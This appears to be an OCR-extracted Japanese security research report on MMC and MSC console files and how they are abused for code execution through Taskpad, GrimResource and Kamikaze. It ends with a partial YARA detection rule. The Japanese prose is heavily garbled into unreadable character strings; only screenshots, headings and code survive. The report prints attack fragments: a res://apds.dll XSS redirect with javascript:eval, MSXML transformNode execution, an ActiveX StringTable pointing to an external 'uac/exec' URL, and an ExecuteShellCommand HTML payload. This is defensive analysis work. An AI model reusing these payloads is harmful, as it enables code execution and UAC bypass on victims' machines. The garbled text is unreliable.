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1 IL®IC

Microsoft Management Console {& Windows D/N\N— ROz 7®Y 7,77, Xy b7 —23Y
R—=XY FORECERZTBH7HDY—IL [1] TG MSC 7 71 JLIF Microsoft EEI>Y — )L
(Microsoft Management Console. LA'F MMC) (CEIEFIF 5N T 71 IL T WEICIIHRAL BIHEEED'SE
KEINTVET, €5 LIHEDORICIT. RBENEBRATERLDDODEFEL TS D, 2024 £ 3 AEH
SRR BHET I —THERZ LI F L1,

EMRMSCT7AILICDOWTHRICEEL TOLARWRATIE. TNS0KEZRZLLIMREEA
IS, BUEFHZERRIBZLOHICHATNTVE T2y IR, EFNLGEREERICIIRL BISEHL D
D, ENoZ@YICIBBELTES CEHEEZELBD T,

ARTIE. £ MSC 77 7L OKEEPHEIE. EEFBEERANBBEZBNL X T, T 2024 FH
RTERINTWVSE MSC 771D 3BEOBABFEZ/ALET. CNICLK>TEMR MSC 77
TILOERN LGB ZIEE L. BEANRREEMNZEYICIBETET 5L IICRDET,

4EBTIE. 100 ALDFEME MSC 7 71 ILICDVWT, HBFEODBEREZITVE T, £loo KBRS
CEDOEBAFEDHARAOBN T B E TERAFEORTZEBIETEBLIICRDET,

S5ETIREMEMSC 7 7ML eBALIEREF v OR—VEERTITEIREITIL—TISOVWTBNLE
To CCTRHIBETHRNLILERFAZAVCKRE Y O—PHOMSSHEZEAEHOE BN MSC 7 7
TILDETERZHBLE I,

6 BT MSCT7AILDXET—2%ZFALT. BEMSC 771 LOEBETEZR/REL. WES
W—TOREYZAMITBAEZBNLET. CNUTED, EDT7AIDRT VI FILBDH. ED
T77ANDEILHBIIL—TFICE > TER - HESNIHZEBITEE T, XXT—XDUERZBEL
T. MSC 7 71 IILOEBRAFEOFRBRRZRASMC L. BT IL—TOREICRITONE T,

REBICTETIE. BB MSCT77MIIDSYRTLZFZODFEICDOWVWT. &K - 24T - B
FEICDITTBNALET. CNICE>T MSC 77 ILEZFIALIEKRBZEDLSICHS LN TE
BZMIOVWTEFRHNBHABEZESNE T, IS, TVRRAVFTOEBLREFZLEDLSICHE L.
BHAICHIS T B 1cODFEICDVWTERE T,

BML MSC 77 MIILICK Z2HEBIF—MOMRBEIMBETNTLEIHOD, SEDMETSZZeHF
HEhEzd, AFIF. ERL MSC T 7 IILICOWTIERL. ERICHEBZ T2 -OICBELANEKET
BHD—BheHsZBIELTVWET,
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2 MSC7T77AILEld

AETIEFMSC 7 7ML ZDEBBICHRZIERNBRFHICOVTENLE T,

2.1 MMC (Microsoft Management Console)

Microsoft B>V —J)LIZ. Windows LOEEBRX X V%175V —IL%IEET 370D GUI EiZfH
T3HDTY [2le MMC ICKDERAREA—EDIA>VY —IILEZELT. BEDEEXX U EZHEL. &
FETEZCEENELTVWET, BEAXIVZETIBZY—IDLZ ATy T1> (Snap-ins) &
X, MMC ICEDRRBRF Y A 0 ZBAEOERLAREZLAVY —IILZERTEXT, CZTE
RENBZXF v T4 2iE Windows ICEIL M > THEEINTWS Event Viewer (ARXY FOJZE
2-BE935Y—)l) % Windows Firewall (77477 +—ILDEHEEERETZY—IL) RCICMZ.
B—RN=—FTARBEEORF Y TAUICDVWTH. BN LCHISVEILRFY T2 VR =)L
THLETHAMADET,

& Console1 - [Console Root] - =] X
@ File Action View Favorites Window Help - & x
e @ = HE

Console Root Name Actions
{4 Event Viewer (Local)
# Windows Defender Firewall with Advanced Secu

Event Viewer (Local) Console Root =

@ Windows Defender Firewall with... More Actions >

Tree Pane Actions Pane

1: Microsoft B>V —I)LD GUI|3]

211 RFvT1Y

ATy TAVIIERBRRAVZRTIZ IO LOZ T, DLL B TERESNTVWET, X T v
T4 VICBY B EMIERIG. EIC HKLM\Software\Microsoft\MMC\Snapins g FICREINTEHD.
BAFwTAUIZ—E®D GUID (CLSID) MLPRARUF—rAHDET [4, MMC >V —J)LET#
RATBER R Ty T4 MSC 771 IILDERTRKICHRBERZ ATy A VIE. COLI RN EHE
BEnxd,

CCTIEMMC OYY—ILETRF YTV ZEBMT BHEICDOVWTIHRIRNE T, Xy T > DEM
Tld. £TELD"File"® TH5"Add/Remove Snap-in.. "ZFRL T, €5T2L. KI2DLSHHE
ADRREN. BIRABER T v T Y O—BHAERIC. TTICARXZLIYY —IILABMEINTWS
AFy T D ERORICRTIENE T,
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File Action View Favoriteg Add of Remove Snap-ins x g x

e @ = HBmE

| Console Root
@ Event Viewer (Local)

YYou can select snap-ins for this console from those available on your computer and configure the selected set of snap-ins. For extensible
snap-ins, you can configure which extensions are enabled.

Available snap-ins: Selected snap-ins:

a
@ Windows Defender Firewall Snap-in Vendor ~ " Console Root Edit Extensions... ,
" ActiveX Control Microsoft Corp... d Ev‘ent Viewer (Local) . I
Aulfncr?zation Manager  Microsoft Corp... ﬂWmdows Defender Firewall with Remove
LV Certificates Microsoft Corp...
o, Component Services Microsoft Corp... Move Up
_:‘l; Computer Managem...  Microsoft Corp...
% Device Manager Microsoft Corp... Move Down
" Disk Management Microsoftand ... Add >
Q Event Viewer Microsoft Corp...
_ Folder Microsoft Corp...
7' Group Policy Object ...  Microsoft Corp...
g IP Security Monitor Microsoft Corp...
\g, IP Security Policy Ma...  Microsoft Corp...
' Link to Web Address Microsoft Corp...
loaiuesmicn. Wekor. < I

Description:

The Trusted Platform Module (TPM) Management snap-in allows you to configure and manage the TPM security hardware.

(

2: ATV T UDBERY 1 VR

C CTldBle LT"Link to Web Address" 2 +w 71 > % BIML 9. END—EIZ#H 3 "Link to Web
Address" 2+ T4 U EBIRLIZRET. BAFICHZ"AAd"REZVEZHLET, RICAFv T I
BI3REDANDKDENET, CZTIFRI3 D& SIZ URL & LT Example Domain ®UJ > o % A
$1L. R®D Friendly Name (24 FILDELS4HH®D) IZ"Example Domain"E AAL TR F v I 2%
EMLET,

& conso ole Root - O
Fle Adion View Favorite] A i , -8 x

= @ HE

| Console Root

YYou can select snap-ins for this console from those available on your computer and configure the selected set of snap-ins. For extensible
snap-ins, you can configure which extensions are enabled. l

[u_'] Event Viewer (Local)
o Windows Defender Firewall w

Available snap-ins:

Link to Web Address

Snap-in Vendor
&, 1P Security Policy Ma...  Microsoft Corp... Welcome to the Link to Web Address
@ Link to Web Address  Microsoft Corp... Wizard
& Local Users and Gro...  Microsoft Corp...
.5?. Performance Monitor  Microsoft Corp... The Link to Web Address snap-in consists of an MMC
-ﬁ; Print Management Microsoft Corp... node with a Web page in the results \{iew. Type the

7 Resutant Set of Policy  Microsoft Corp... g:;fv\‘/:er URL for the site you want to display, or click
33 Security Configuratio... ~Microsoft Corp... Add > .
:3 Security Templates Microsoft Corp...

Services Microsoft Corp... Path or URL:
2| Shared Folders Microsoft Corp... http://example.com/|
() Task Scheduler Microsoft Corp...
E TPM Management Microsoft Corp... Browse...
ﬁ Windows Defender F... Microsoft Corp...
&5 WM Control Microsoft Corp...
Description:

The Link to Web Address snap-in enables you to add an MMC nod

T

3: "Link to Web Address"X7+v 1 >DT 1% —R

NTRFTYTALVOEMDTT LET, K4 D5, "Link to Web Address" X+ P11 ic&kb, O
V—=I)LETEHRELIE > IFDODR—HEBFETET DI b Ed,
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& Console1 - [Console Root\Example Domain] - O X
E File Action View Favorites Window Help - & X
ke AR 6 Hm=
Console Root
li] Event Viewer (Local)

‘ Windows Defender Firewall with Advanced Secu
| Example Domain

Example Domain

This domain is for use in illustrative examples in documents. You may use this domain
in literature without prior coordination or asking for permission.

More information...

Done

4: "Link to Web Address"X+v 1 >0V —I)L ETORTRA

2.1.2 Console Taskpad

Console Taskpad (M. Taskpad) & Tree Pane ICU X kE i/ — RiCx LEBMATRER S D T,
B/ —ROAYTHFIAMXZa—%II Y R LTETHABEA"Menu command"*®. FEO7O+¢
2% Web R—J %< ZCZABEL T3 "Shell command"ZE D Task ZERETEF X7 [5o "Menu
command"DF & L T. Windows Firewall ® X7+ 7« > Tid"Import Policy..."%"Export Policy..."&
W7z Windows Firewall (DAY RICINZ. "Help" (NLTDRR) BREDIZENAITVR
HERETEET I,

Taskpad DEMIE. WFNH D/ — RHABIRESNIRRET "Action" 2 7 D "New Taskpad View..."%
Iy I TBETRSDKSBRY FT7y THRRIN. Taskpad OEMAFEIEINE T, 7=7EL.
2w T DFICIE Taskpad DEIMTEHEVEDHHD £7,
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& o
File = Action View Favorites Window Help
=@ = H
_ Console Root New Taskpad View Wizard X
@ Event Viewer (Local)

# Windows Defender Firewall with Advanced
| Example Domain

Welcome to the New Taskpad View
Wizard

This wizard helps you create a taskpad view for a tree item in
his corsole

Taskpad views appear in the results pane of a console and display
shorteuts to commands.

To continue, olick Next

5: Taskpad OV 1 H—FK

Taskpad MBI TIL. 1. Taskpad View Wizard DFERY & 2. Task Wizard DIERED 2 EERL TITH
NFEF, Taskpad View Wizard |&. Task Wizard ZED L SICRTTBDHDONEERETET £,
C Tl& Taskpad View Wizard QDIERISEIZ L. Task Wizard DIERRICERZHTE T,

Task Wizard DERTIE. £THRET S Task DX 1 T2 FIRL £,

& Consol

File Action View Favorites Window Help

=@ 2 B

New Task Wizard X
_ Console Root
{2] Event Viewer (Local) Gommand Type
ﬁ Windows Defender Firewall with Tasks can run command lines, run menu commands, or navigate to other locations in the

tree
| Example Domain

Ghoose the type of command you want to use for this task
O Menu command
Run a command from a menu

(@ shell command
Run a script, start a program, or open a Web page.

O Navigation
Navigats to a taskpad for a tres item in your MMG Favorites list

<ok Garee

6: Taskpad ® Command Type O:EREE

Z C Tl L T"Shell command"%Z3#3IR L. calc.exe Z2EIT D& 5% Task ZIERL £,
Task DA ;JLIE"Open Calc"ICEREL. 70 OAVIE MMC TRETREINTWVWE 70 IV TIER
<\ "Custom icon"T C:\Windows\System32\calc.exe Z}EE T 5 _ L T. calc.exe BED 71 O
VEERAT BT Task ZER L £7,
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=

File Action View Favorites Window Help - & X
o= 5 = H
New Task Wizard X
| Console Root
{2 Event Viewer (Local) Gommand Line
ﬁ Windows Defender Firewall with You must specify a command that this task will run
| Example Domain
Specify the path and command, command-line parameters, and other optiors.
Command
[caloxel s
Parameters
»
Start in:
Browse.
Run
Normal window v
<Back Cancel
< >
v :
7: Taskpad ® Command Line ®AJJEIH
& -
- 8 X

E File Action View Favorites Window Help
= = = H

| Console Root
{2] Event Viewer (Local) Task lcon
X

@ Windows Defender Firewall y You must either select ons of the icong Change lcon
specify a custom icon.

= Example Domain
- File name:

‘ C¥Windows¥systema2¥oalo exe

QO cons provided by MMC:

Current icon

(® Custom icon 8

Browse.

| Cancal Browse

< Back Next > Cancel

X 8: Taskpad ® Icon DFREEME

S El&" Console Root" D/ — R IZ Taskpad Z1ERLL & LTco fERNENT Task i O DL SIC/ —
FERRIOBBR—ORICTAA oDy FTREAESNET, COUYIZI)wI T3
L THREINT: Task BERITEINBZHEALB>TVET,
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;Consolﬂ - [Console Root]

Eﬂ File Action View Favorites Window Help - & X

e« |7 = B

Console Root "/ Console Root
{2 Event Viewer (Local)
ﬂ Windows Defender Firewall with | Name

=| Example Domain @ Event Viewer (Local)

GWmdows Defender Firewall with...
lﬂ Example Domain

E] Open Calc

9: Taskpad O3>V — )L L TORRA

2.2 MSC 771 )LDEE

RIRDBD . fEENS T2 Y —)Lid XML FER TR S N, #i5RFH .msc DT 77 ILE LTREF
ENET, FETIE. MSC 77 AMILICEVWTHE-NG XML OERICEBL. BALET,

2.2.1 ConsoleFilelD

MSC 77T IL—rEBRICHLATDOFERIERFELE T, NERD 1 DIZ"Console-
FilelD" (K10 B 31TH) CWS3HDHHD FT, ChiE MSC 771 ILICEE®D GUID HEIDHT
LbN3HDT. ZEUBLEZERZELBZWVEDIF. MSC 77 M IILICEBEZMA TH—RDEIRT
NEJ, 6 ETIE. "ConsoleFilelID"ZFALLEKESIL—TOF7r)Ea—>aviioWwTnsg
Fo F7="ConsoleFileID"UNDREDFEZRDHFTH L DDITEELRDH " VisualAttributes". "Scope-
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version="1.0"
ConsoleVersion="3.0" ProgramMode="Author"

{9A649014-3381-4F46-8E57-12A2B7C5B409}

ShowStatusBar="true"

VisualAttributes

ScopeTree

ConsoleTaskpads

StringTables

10: MSC 771 ILDREDER

2.2.2 VisualAttributes

VisualAttributes Tld. MSC 77 A ILBEDT7 A AV DREHMNEBHINTVWET, T 74/ M TId
COBRICIFALRESNTESTRED 7 AVHERAINETN K11 OLSIERDT7rIY
HRETTEI, 71IAVOHKREIF. MMC @ GUI ED"File"® 7 D"Options..."h 5 RIRET

Index="11" File="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
ame naryRefIndex="0"
= inaryRefIndex="1"
="z 48x" BinaryRefIndex="2"
C

onsolel.msc

@onsolel.mse

11: MSC 7 7LD 7 A AV DEER|
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2.2.3 ConsoleTaskpads

ConsoleTaskpads I&FiEI TR ATz Taskpad OFRENEEH INDZEATT . FIEITIER L 7c Taskpad
DOA—RZE12IZRLET, Task BERD Type B Command BHEN S calc.exe MEEEITN S
CEHRTENE T,

Ffes MSC 770D 7A AV ZEEDDHDARE TS L LRAFKIC, Task D74 AVICDWVWT
LREEBEDLDZHRETET LT, Task D7 AVERIF. Task ERDOFERTH S Symbol BERXWIZE
HRENFT, TRIOFTIE"Custom icon"ZFRE L7/, BRELLET7AAVDONA T UIERZIET &£
35 1C Image BEHE®D BinaryReflndex BEARESNTUVE T,

ListSize="Medium" IsNodeSpecific="false" ReplacesDefaultView="true" Vertical="true" NodeType="
{C96401CE-@E17-11D3-885B-00C04F72C717}" ID="{B3CF9573-COAC-40E1-956E-68CD8FC87258}"
Name="Name" ID="6"
Name="Description" Value=""
Name="Tooltip" Value=""

Type="CommandLine" Command='"calc.exe"
Name="Name" ID="7"
Name="Description" Value=""

Name="Small" BinaryRefIndex="14"
Name="Large" BinaryRefIndex="15"

Directory="" WindowState="Restored" Params=""

Name="TargetNode" NodeID="1"

12: MSC 7 71 JLA®D Taskpad DREERS

2.2.4 ScopeTree / StringTables

BR1%IC ScopeTree ¥ StringTables [CDWTHBNML X,

£79 ScopeTree Tld. Tree Pane ICRTRINZE/ — ROBRHMEHINTWVWET, ID BHEDMEIC
1 Z¥FD Node % I(3"Console Root"Z&K L. COFEHRTHS Nodes BEREWNIC. XFvT1>DE
MICIC T Node BEMNMER SN E T, K13 121 HITHER LT MSC 771 ILOREBERLTH
D, ID BM 2. 3. 4 D Node ERIF. ENZ&N"Event Viewer". "Windows Firewall". "Link to Web
Address" 2+ FA VIR L £ 9
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ID="1" ImageIdx="0" CLSID="{C96401CC-0E17-11D3-885B—00C04F72C717}" Preload="true"

"2" ImageIdx="0" CLSID="FX:{b@5566ad-fe9c-4363-bed5-7a4cbb7cb510}" Preload="true"
"3" Imageldx="0" CLSID="FX:{b®5566ac—fe9c-4368-be@2-7a4cbb7cbell}" Preload="true"

"4" Imageldx="0" CLSID="{C96401D1-0E17-11D3-885B-00C04F72C717}" Preload="true"

Name=''Name'" ID="6"

Name="Small" BinaryRefIndex="11"
Name="Large" BinaryRefIndex="12"

Name=""Snapin">{C96401CC—-QE17-11D3-885B—00CO4F72C717}
BinaryRefIndex="13"

13: MSC 77 1ILRAD XF v A > DOREEDD

Nodes ERD TFIZECE SN TUL S String. Bitmaps. ComponentDatas. Components 13" Console
Root"DEREMBETHD. CNESDEBRIFERFT v T UIIHIET S Node ERERICHEEINTULE T,
¥5(2 String BRI Tree Pane TRRINZEZ/ —RDZA FILHDREINZME T, REDOXFHI
ID B4 %z JTic StringTables ER%Z8R T3 L CTHEITEXY,

14 IEELC< 2.1 BITIER L7 MSC 7 71 JL® StringTables %R L TWEXF, Tree Pane M
J — k% Taskpad @2 ML L TERATNZXFHOMIC. "Link to Web Address" X v 71> T
FAINS URL BEIREINTVET, COELIICVWLKDBDRF Y FI YT RFvT1>oDEA
MIL%ERT String BRI L. EH L7 ID BEDEEFD String BREA. XFv 1V THERIN
BREMBIBMINBZEDBDET, COBREREIT ST, ATV TI1VBROEHEZEET
5EHTEXY,

AbsoluteMin="1" AbsoluteMax="65535" NextAvailable="8"
{71E5B33E-1064-11D2-808F-0000F875A9CE}

ID="1" Refs="1">Favorites
ID="2" Refs="1">Event Viewer (Local)

" Refs="1">0pen Calc

14: R+ v 1 TEHREINS String T—2 5
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2.3 MSC 771 ILDETT

MSC 7 71 )L mmc.exe OO X E L TETNEITINE T, mmc.exe DO XIEZ
KOBPET VR 7O-F—HSEFEE SN, —ZBOEIL 1 >D MSC 771 ILICDVWTIX. FED
EXE 7 7ML SEEENICRITSNZNEZ—VBBERLTVWET,

explorer.exe ] explorer.exe ]

mmec.exe ] —’[ eventvwr.exe ]

4’[ mimc.exe ]

15: MMC (222 70t XY ) —0f|

mmc.exe O 7OL XFEANICEEREER TEITINDI LD FIRE G >TED . BAAXT—RN—
T4 DMER L7 MSC 7 7 1 JLORITEHC I UAC RREINE T,

AR L LT, Windows ICEI R Y TEETZVLDHD MSC 7 71 ILICDWTIE UAC BRR
INFHA. ZDEAIE. RTINS MSC 771 JLICEKIFEL T mmc.exe KEHFRINBZHTT,
Microsoft #tMBED R F 2 X2 b [6] KO MSC 7 71 LOBEBHERKEL LTUTD 3 DHAEZS
nxd,

1. EFa )71 TRESNEAICHS  (C:\Windows\System32\ B T4 )
2. Microsoft ftIC& > TEHIN TV
3. BEIRKINS MSC ZRTAHNE ) I MIZFENATVLS

il LT C:\Windows\System32\ ELFIC# % eventvwr.msc |d. UAC 7% L TEITAIEER MSC 7 7
AILTHD. B 16 D Sigcheck[7] ICL B RITHERDNSBENTINTVB L HHERTETE T, MSC
T77AIICRTBIEBRICEVWTIE. AZOT T 71 8] IC&BFENLSNTED.. BERIERIE MSC
T7AINSEBORAENTUVERA, TORILBLEXNRD MSC 7 71IILDNYy > af@ERNLHE2O5 T 7
TILRICETENTH O, BERIAOKRIZ. COoAZOTT771ILZzBRL. £I7EN3 MSC 771l
MNEBELHINTVBDESHHEHEREINET 9.
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B Command Prompt - O X

C:\Temp\Sigcheck>sigcheck64.exe -i C:\Windows\System32\eventvwr.msc

Sigcheck v2.9@ - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

:\windows\system32\eventvwr.msc:

Verified: Signed

File date: 1:09 AM 12/7/2019

Signing date: 11:40 PM 12/6/2019

Catalog: C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00CP4FC295EE}\Microsoft-Windows-Client-Feat]

res-Package@@~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat
1gners:
Microsoft Windows
Cert Status: This certificate or one of the certificates in the certificate chain is not time valid.
Valid Usage: NT5 Crypto, Code Signing
Cert Issuer: Microsoft Windows Production PCA 2011
Serial Number: 33 0@ 00 ©2 32 41 FB 59 99 6D CC 4D FF ©0 00 @0 08 02 32
Thumbprint: FF82BC38E1DASE596DF374C53E3617F7EDA36BB6
Algorithm: sha256RSA
Valid from: 1:24 PM 5/2/2019
Valid to: 1:24 PM 5/2/2020
Microsoft Windows Production PCA 2011

Cert Status: Valid
Valid Usag All
Cert Issue Microsoft Root Certificate Authority 201
Serial Number: 61 @7 76 56 €0 00 00 00 00 08
Thumbprint: 580A6F4CCAE4B669B9EBDC1B2B3E@87B80D0O678D
Algorithm: sha256RSA

X 16: sigcheck &% eventvwr.msc DELFER
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3 BIMoOERFE

CNETEBNLIEELSIC. MMCE LU MSC 7 71 ILICIIE L BISREENREINTVLE T, TOH
ICIFERDIYY RERTTIZLS5BKENFEL. WBENIILI I T7ORT>O—R - ETICE
BLTVWET, 2024 FREATREREINTVLWS MSC 7717 ILOBAF AL IBESHD. I TEENS
DB OVTBNMLET,

3.1 Taskpad IC&k2O—FET

MMC IZIZFEEDOT Y RERITT 37-8IC Taskpad E WS HERENRH TN TWE T, SIS Tree
Pane 75 "New Taskpad View"ZEIRT 2 Z & THRETET £, Taskpad OFMAIERIBIEIF 2.1.2 &
THENALTWVWBR-HEBLEFITH. FAIXIER 17 Tld. calc.exe ZHCENT % Taskpad DEITHRERL
TWEYT, MMC OFERICRE> TRIET 37217 T, FEOIOV Y R%ERITT B Taskpad ZBZICKET
EER

@ i Root o
& File Acion View Favorites Window Help

=@ B

| Console Root i GorerRli Actions
Console Root B
A calculator = o X More Actions »
g@ = Standard 3 ©
M M- Ms

% CE C cl

/ = +

7 8 9 X

4 5 6 -

1 2 3 +

17: Taskpad @< > RETH

fefe L. Taskpad FA—HMN) > 020w I T2 ETRITLET. EDRH. BIZMSCT 74
NZRAWEREITTIIREERLS R, ASHDOFEICLE>TA—HICTVV Y ITEIBERHD £7., R
DHETIE. K18 DL S5IC. MMC DEIE% Explorer.exe ICEIITT. PDF 7 71JL%» DOCX 7 7
NG EZRCTEHD )V IICRENTFZ T, A—HICO7 Uy IZFELTWVWET [10].

® NTT Security Holdings 15




[ Meeting_Invitation - [m] X

[ File Window Help - &8 %

_ Meeting_Invitation

Open File

@ Meeting Invitation.pdf

18: PDF 7 71 ILADY) > VIZREMIF 7z Taskpad

3.2 GrimResource

Taskpad ZEBRAL=FAETIE. BRI —RFZRITTIEZH. I—F—ICMSC 771 IILZzEAMIE
fehe. AVY=ILHDI YOIy ITEZ LWL HS 1 DDREZ L THESBRELNHDFL
7o LD L. GrimResource LIFIENBZBEFETIE. ZDH5 1 DORMEZEKL. 21 —H—IZ MSC
T77AINZRIEZETTESRRI—RZRTIEIEHTEET, UMETIE. GrimResource D5F
MEHRBALTVEFET, AP GrimResource IZDWTIE. Microsoft #HiZ & DHEFFEAMEIE S, #EE
Hm<AHRDFE LR (CVE-2024-43572[11]),

MMC @ Link to Web Address 23w 71 > ZFERTZL. 771ILINXP URLZANTELT
A—ANLKRAMEPUE—FRIF (WebHa FAY) EOHTML RFa XY hEHBETEET,
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You can select snap-ins for this console from those available on your computer and configure the selected set of snap-ins. For
extensible snap-ins, you can configure which extensions are enabled.

Available snap-ins: Selected snap-ns:
Snap-n vendor ~ [ console Root Edit Extensions. ..
;.j.; Device Manager Microsoft Cor... o
o Disk Management Microsoft and... Link to Web Address
@ Event Viewer Microsoft Cor...
I Folder Microsoft Cor...

Welcome to the Link to Web Address

=/ Group Policy Object ... Microsoft Cor... .
. Group Polecy Oby Wizard

@ IP Security Monitor Microsoft Cor...
.g IP Security Policy M...  Microsoft Cor...
Link to Web Address  Microsoft Cor...
&) ocal Users and Gro...  Microsoft Cor...
'@)Perfarmance Monitor  Microsoft Cor...
'@Print Management Microsoft Cor...
|=[ Resultant Set of Policy  Microsoft Cor...
_EIL, Security Configurati... Microsoft Cor...
= P . .

Add >

The Link to Web Address snap-in consists of an MMC
node with @ Web page in the results view. Type the

path or URL for the site you want to display, or dick
Browse.

Path or URL:
[

Browse...

Description:
The Link to Web Address snap-in enables you to add an MMC node

< Back Cancel

19: Link to Web Address X7+ 7+ > DEE

CDOHTML R a X2 hOEEICIE. Internet Explorer DT Z0H AT 0 RAMERINTWS T
. HTML RFa X > MIEEE I JScript ¥ VBScript D d—RER{TTET X9, LH L. Internet
Explorer D7 S OH ATz 0 b EFERLTWVWSRH. A—ROETICE T 0T YRRV I RITE
ZHEIRHEE F£9, Elastic D LR— b [12] TER TN TLS GrimResource Az RT3 L. EHE
T3 HTML RF¥a Xy hOBEEIX. MSC 7 71 IL®D String 2T IZEBEH SN, res 70 b JJLIREHIC
&% apds.dll 77 1ILAD URL BMEESINTWET, GrimResource Tl MSC 7 71 LRV =F
IC apds.dll 5075 DEWV XSS DOiEgst [13] ZFIA L T, BID String 27 IC5E8 S /e JavaScript
JI—FZERITLTVET,

ID="39" Refs res:ffapds.dll/redirect. html?target=javascript:eval(external.

(=
Document.ScopeNamespace.GetRoot().Name)

20: res 70Ok JJLIBHED apds.dll AD URL

Internet Explorer D 72 H AT U b ETId. external 7 7V MZT7VEZRXTEE T,
GrimResource #&{A® JavaScript I— R Tld. external A Tz b ENLT. RFa XY MADBE
FRELTVWETD,
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scopeNamespace = external.Document.ScopeNamespace;
rootNode = scopeNamespace.GetRoot()

mainNode = scopeNamespace.GetChild(rootNode)
docNode = scopeNamespace.GetNext({mainNode)

21: FF¥axXY+ERBIO-F

MMC @ ActiveX Control R Fvw 71 V2 FRATI L. EREFAOI> FO—ILUISDSERL
T AYY—=JUIZ ActiveX D> FO—=)LZEBMTEF X T, ActiveX > bO—JLEEBMLI MSC 77
1IVEREERT 3 &, StringTable 2 @2, BAIL 7z ActiveX 3> bO—JL®D CLSID A & DIFHRD
REINTVET, COZEMH. MSC 7 71 )LD StringTable 2T DHIZHER ActiveX IV +
O—ILOERZEHL THIFIE. MSC 771 IILERITLURERIC, IBEL K ActiveX 772 7 b A
EREINBZ DD £T . GrimResource A D StringTable 7' @AIZIE. MSXML @ CLSID
(2933BF90-7B36-11D2-B20E-00C04F983E60) HEE&EH TN TWLWE T, MSXML I XML D/V— X%
DOM 7% & DIgEZ IR L £7,

">Document
(2033BF98-7B36-11D2-B28E-88CA4FOB3E6GD }
Main

res://fapds.dll/redirect.html?target=javascript:eval(external.

Document .ScopelNamespace.GetRoot( ). Name)

22: StringTable %%

Internet Explorer D 7 Z0H AT U b ETld. external 772 %/ L T, ActiveX Control
Ty T URBBETER SN ActiveX 772 20 b EBBRTEE I, GrimResource HADI— R T
&, external TPz b ZNLT. REDT VT TE21—ICH B ControlObject F 720 b %&H
B923Z T, EHINT MSXML @ ActiveX A 7S 0 fADOBBERELTVET,

external.Document.ActiveView.ActiveScopeNode = docNode

docObject = external.Document.ActiveView.ControlObject

23: ActiveX A7z bADEBEBI—R

GrimResource Tld. BRIEMIC. BIBLI-MSXML A7V TV bDXY Y RERTTZ T, BN
BOA—ROEFTZERRLEFT, MSXML #7227 bADBRIF ActiveX Control 7w 71 U#ZHET
Y HMLIA TSI PADBRTHZ7H. T3V RRY I XOHIBENMEE EEA. DD,
O—ALKRIA S ETEEDI— FRITHABELEAD £29, GrimResource &AM 11— K Tld. MSXML
AT bD loadXML XV R ¥ transformNode XV vw R%E{TL T, URL T>O— RENIZRE
BRICEER SN =B M A VBScript I—RZRITLTVET,
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¥ML = docObject;
async

alert{"GR E");
1.loadXML{unescape

X 24: MSXML A7 10 bDXAY vy RET

Outflank #tiIC& % & [E#tH GrimResource ZBF L. F#AMRMHT 2L v R F—LiEEAEITDOY —
JLEw b Outflank Security Tooling (OST) IZ GrimResource Z RIF§ ZHEEN AR EN TV E LT
ZL T LY RF—LFEFD L FIC GrimResource MER I, AV T30V OREEEY 1 MZT v
FO—RENELE 14 COT Y FO—RENT MSC 7 71 LEHRRD Y #—F p—HHEE L.
GrimResource EMHINBZHBEFENLCHNED CICB > L 5T,

3.3 Kamikaze

GrimResource 1& MSC 7 7 1 JLVBEATEMEHZERIRT D7HIC. res 7O ML K apds.dll ZzEH
L7EXSSICK > TEMEFERITIETVWE LN, ERICIFD - CHRICEETETET, i B
MEEFZEI MMC O 7O AR TRETS7HIC MSXML 2o TWE LD CESHERICRK
HETEET, 2ORIWNE—2ZFRBFALTVBDH UACME IZEEIN TS Kamikaze T [15].

Kamikaze I& GrimResource CIZE7%4 D MSC 7 71 JLIUASAIZ Web H—N—HHETT, GrimRe-
source ¥ res 70k TJL ¥ apds.dll @ XSS IZ& 2 TERE L TWL 7 JavaScript I— RFDRITZ. Web
H—NZFE>THRELTWET,

& 7= Kamikaze 13"Link to Web Addresss" Tl&7% <. ActiveX Control DA 7Pz X LTURL %
BELTWET, BECCICIE CLSID BMEEINBIHZAATIN. CZIC URL Z38E TS Z & T. Link
to Web Address EE L & 512 MMC ET HTML %25i#AH £,

StringTable
GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE }</GUID
Strings
String ID="1" Refs="1">Favorites</String
String ID="2" Refs="2">Shockwave Flash Object</String

String ID="3" Refs="1">https://hfirefOx.github.io/Beacon/uac/exec</String
String ID="4" Refs="2">Console Root</String
Strings

StringTable

25: CLSID O b (C URL Z1EE

CNUSE>THEMAFNS HTML T—RIFR 26 DL SICBR>TVWE T, BHTS > FILT. MMC
ICRRETREINTUL S ExecuteShellCommand B# [16] ZIFUH L TWBRITTY . CHICK>TE
MEFHZEREFETTEI,
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html><body><script>external.ExecuteShellCommand("%temp%\\osk.exe",

"%systemdrive%

""", "Restored");</script body

26: Kamikaze h'5i&A 8 HTML 7 —4
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4 MSC 771 IICHBITEBRAFEDDE

AETIF. FATcBHUEL 7 104 BDORIEICDOWVWT, MSC 7 7 M ILZRAWVWIHBFEAD DB L RS
ZITVWE T, £0LT. HEROKFZRL. REFEAOELICOVWTRAL XY,

FROBTHERL SIS, MSC 77 MIILOBRFEICIZ. I—HFDIV v IZRITHDON 5. M5
HZRVWBHDITHRABFEDNHD T,

L DFMESNLFENRREINIIBE. RBEERZREORIXRZZDB1H. TENSDFEZHFAT
EVWET, —AT. BEEIBESNIIGE. RBENMEATESFAIESNTVLEXRT,

4.1 ERFZoBEICOWT

EIBTHBNALIEELSIC. MSCT7MIILDOBBFERKREL DI T=ZBEICHITZ LN TE
£9,

e Taskpad : MMC ARDOFFAAGETERND IV FZEITTES

e GrimResource : res 7O L)L X apds.dll ICTFES D XSS MessiE = HLWCERETIOAY VR %
HTEE3

e Kamikaze : ActiveX O FO—I)LZAVWTERE T ITY Y FEERTIES

BHE. IETHMNIED . GrimResource IFMEFFEINMEIESNTWVWE T, £D/cdH. BEFHF 7O S L
HER TN TWBIRTO Windows TIIEHICIHEAARAIBEC B> TWE T,
4.2 BIEDINE L FEEICDOWVWT

FSAYDBREHRET A MIEWVWT UTD YARAL—ILICESWTREZINEL X LT, EDHE
R TAMERoN3&EZRVL: 101 FORGBZIREL X LT,

rule MSC_A1l1l

{
strings:
$xml = "<?7xml version=\"1.0\"?7>"
$sig = "<MMC_ConsoleFile"
$s_1 = "<Task Type=\"CommandLine\""
$s_2 = "{2933BF90-7B36-11D2-B20E-00C04F983E60}"
$s_3 = "\">http"
